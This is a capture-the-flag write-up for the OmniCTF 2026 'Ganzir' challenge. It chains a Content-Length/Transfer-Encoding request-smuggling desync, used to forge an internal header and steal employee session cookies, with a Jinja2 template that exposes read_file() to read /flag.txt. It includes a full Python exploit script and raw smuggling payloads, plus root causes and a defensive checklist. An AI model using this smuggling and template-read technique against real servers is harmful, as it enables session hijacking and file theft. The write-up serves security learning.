4 min read

Ganzir — OmniCTF 2026: From HTTP Parser Desync to Jinja2 Arbitrary File Read

Ganzir — OmniCTF 2026: From HTTP Parser Desync to Jinja2 Arbitrary File Read

This challenge chains two classic vulnerabilities together: first we use HTTP Request Smuggling (Parser Desynchronization) to forge an internally trusted header and grab an Employee Session, then we abuse a Jinja2 Template that exposes a dangerous helper to read the flag directly. Here is the full breakdown of the reasoning and the exploit.

The Hints

Once you land on /employee, the page hands you several important hints right away:

accepted job endpoint: POST /employee
accepted body formats: raw_request form field or text/plain raw HTTP
edge parser: honors Transfer-Encoding: chunked
bridge parser: trusts Content-Length before forwarding remaining bytes
internal request: GET /employee/session HTTP/1.1
required internal header: X-Employee-Gate: internal

In short, this challenge has two HTTP parsers:

Parser Header it honors Purpose
Edge Parser Transfer-Encoding Parses the chunked body
Bridge Parser Content-Length Determines body length and forwards the remaining data

The two sides disagree about where a single HTTP request actually ends, and that disagreement is the heart of the vulnerability.

Content-Length vs. Transfer-Encoding

Content-Length

Content-Length simply tells the server how many bytes the body has:

POST /employee HTTP/1.1
Content-Length: 5

hello

When the server sees Content-Length: 5, it reads the following 5 bytes.

Transfer-Encoding: chunked

Chunked encoding splits the body into several chunks:

POST /employee HTTP/1.1
Transfer-Encoding: chunked

5
hello
0

5 means the next segment is 5 bytes long, and the trailing 0 marks the end of the body.

Where's the Vulnerability?

A well-behaved server should never let two conflicting length rules travel all the way through to different parsers.

But this challenge's processing flow is:

The same raw HTTP request
        ↓
Edge parses using Transfer-Encoding
        ↓
Bridge decides the length using Content-Length
        ↓
The leftover data is treated as the next internal request

So we can hide a second request behind a normal one and let the Bridge kindly forward it to the internal endpoint.

This class of problem is called HTTP Request Smuggling, or more precisely, HTTP Parser Desynchronization.

Note that the outer POST /employee is itself a raw-request drop-off point. The conflicting headers go inside the text/plain body and are then parsed by the challenge's legacy bridge — they are not added directly on the outermost layer of Python's requests.post().

Why Did the First Payload Fail?

The body I used at first looked roughly like this:

69
GET /employee/session HTTP/1.1
Host: ganzir-bcb389d7988b.inst.omnictf.com
X-Employee-Gate: internal

0

69 is hexadecimal, equal to 105 in decimal, so the length calculation itself was not wrong.

The problem is that GET /employee/session was placed inside this non-zero chunk:

69              ← the next 105 bytes are all body
GET /employee…  ← swallowed by Edge as ordinary body
0               ← end of the chunked body

So it would never become a second HTTP request.

It wasn't the length that was wrong — it was where the GET was placed!

The Correct Smuggled Request

We need to end the chunked body with a 0 first, and then append the internal GET after it:

POST /employee HTTP/1.1
Host: ganzir-bcb389d7988b.inst.omnictf.com
Content-Length: 0
Transfer-Encoding: chunked

0

GET /employee/session HTTP/1.1
Host: ganzir-bcb389d7988b.inst.omnictf.com
X-Employee-Gate: internal

Which now parses as:

Edge sees the 0 chunk → first request ends
                         ↓
Bridge trusts CL = 0 → body length is 0
                         ↓
The leftover data starts at GET /employee/session
                         ↓
The GET is forwarded as an internal request

The internal endpoint sees X-Employee-Gate: internal and creates Cassie's Employee Session.

Why Do You Still See a 403 After It Works?

A successful /employee/session returns:

HTTP/1.1 302 Found
Location: /employee
Set-Cookie: site19_employee_gate=...
Set-Cookie: site19_jwt=...
Set-Cookie: site19_session=...

But requests follows redirects automatically by default.

The real success response: 302 + Set-Cookie
                ↓ requests auto-redirects
The response you end up seeing: the 403 from /employee

So you need to add:

allow_redirects=False

and use requests.Session() to preserve the cookies.

The Full Exploit

import re
import requests

HOST = "ganzir-bcb389d7988b.inst.omnictf.com"
BASE = f"https://{HOST}"

smuggled = (
    "GET /employee/session HTTP/1.1\r\n"
    f"Host: {HOST}\r\n"
    "X-Employee-Gate: internal\r\n"
    "\r\n"
).encode("ascii")

blob = (
    b"POST /employee HTTP/1.1\r\n"
    + f"Host: {HOST}\r\n".encode("ascii")
    + b"Content-Length: 0\r\n"
    + b"Transfer-Encoding: chunked\r\n"
    + b"\r\n"
    + b"0\r\n\r\n"
    + smuggled
)

session = requests.Session()

response = session.post(
    f"{BASE}/employee",
    data=blob,
    headers={"Content-Type": "text/plain"},
    allow_redirects=False,
    timeout=20,
)

print("Status:", response.status_code)
print("Location:", response.headers.get("Location"))
print("Cookies:", session.cookies.get_dict())

On success you get three cookies:

site19_employee_gate
site19_jwt
site19_session

Second Vulnerability: Arbitrary File Read via Jinja2

Once you have the Employee Session, you can access /briefing-template.

The page again hands you the hints directly:

engine: Jinja2
variables: wave, vector
helper: read_file(path)
flag copy: /flag.txt

User input is executed as a Jinja2 template, and the template can call read_file().

So we can read /flag.txt directly:

{{ read_file('/flag.txt') }}

Append the following code to the earlier exploit:

response = session.post(
    f"{BASE}/briefing-template",
    data={"template": "{{ read_file('/flag.txt') }}"},
    timeout=20,
)

flag = re.search(r"CTF\{[^}]+\}", response.text)
print(flag.group(0) if flag else response.text)

The problem here isn't just "using Jinja2" — it's that the server treats user input directly as a template and, on top of that, exposes a read_file() helper that can read arbitrary paths.

The Complete Attack Chain

CL / TE parser desync
        ↓
Smuggle the internal GET /employee/session
        ↓
Forge X-Employee-Gate: internal
        ↓
Obtain the Employee Session cookie
        ↓
Access /briefing-template
        ↓
Execute {{ read_file('/flag.txt') }}
        ↓
Get the flag

Root Causes

1. Accepting Conflicting Framing Headers

Content-Length + Transfer-Encoding present at the same time
→ different parsers apply different rules

2. Forwarding Un-parsed Raw Bytes Directly

The data trailing the first request
→ is treated as a new internal request

3. Deciding Internal Trust Based on a Header

X-Employee-Gate: internal

As long as you manage to reach the internal endpoint, you can forge this header.

4. Over-privileged Template Helper

{{ read_file('/any/path') }}

There's no path allowlist, and no isolation between the template and the filesystem.

Field Checklist

When you run into an HTTP parser challenge, check for:

  1. Does it accept both Content-Length and Transfer-Encoding at once?
  2. Do the front-end and back-end use different HTTP parsers?
  3. How is the data after 0\r\n\r\n handled?
  4. Does the client follow redirects automatically, hiding the real response?
  5. Are the cookies preserved in a single session?
  6. Does internal trust rely solely on a forgeable header?
  7. Does the template engine expose a dangerous helper?